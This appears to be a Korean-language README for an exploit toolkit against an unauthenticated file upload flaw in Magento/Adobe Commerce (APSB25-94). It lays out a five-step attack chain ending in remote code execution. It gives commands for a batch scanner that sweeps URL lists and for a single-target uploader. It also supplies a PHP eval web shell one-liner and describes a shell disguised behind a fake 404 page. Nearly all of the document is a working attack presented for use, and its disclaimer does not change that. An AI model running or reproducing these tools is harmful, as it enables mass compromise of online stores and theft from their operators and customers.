
Magento APSB25-94 인증되지 않은 파일 업로드를 통한 RCE (CVE-2026-XXXX) - Eval Shell + Probe Scanner
REST API 게스트 카트 custom_options 파일 업로드를 통해 Magento/Adobe Commerce의 인증되지 않은 파일 업로드를 익스플로잇합니다.
1. GraphQL → leak product SKU
2. REST API → create guest cart
3. REST API → upload PNG polyshell via custom_options file_info
4. HTTP GET → access .php at predictable path
5. PHP exec → RCE
magento_godzilla.py — 배치 스캐너2단계 업로드: 프로브 파일(WAF 안전) + 평가 셸(404 위장).
pip install requests
python magento_godzilla.py -f urls.txt -t 20 -o results.txt
출력: RCE_CONFIRMED, SHELL_KILLED, PROBE_ONLY
magento_upload.py — 단일 대상 업로드python magento_upload.py -u https://target.com -f godzilla.php
python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>'
python magento_upload.py -u https://target.com -f shell.php --raw
/pub/media/custom_options/quote/{c1}/{c2}/{filename}
/media/custom_options/quote/{c1}/{c2}/{filename}
GET은 가짜 404를 반환합니다(HTTP 200 + "Not Found" 본문). POST에 password 매개변수가 있으면 코드를 실행합니다.
승인된 보안 테스트에만 사용하십시오.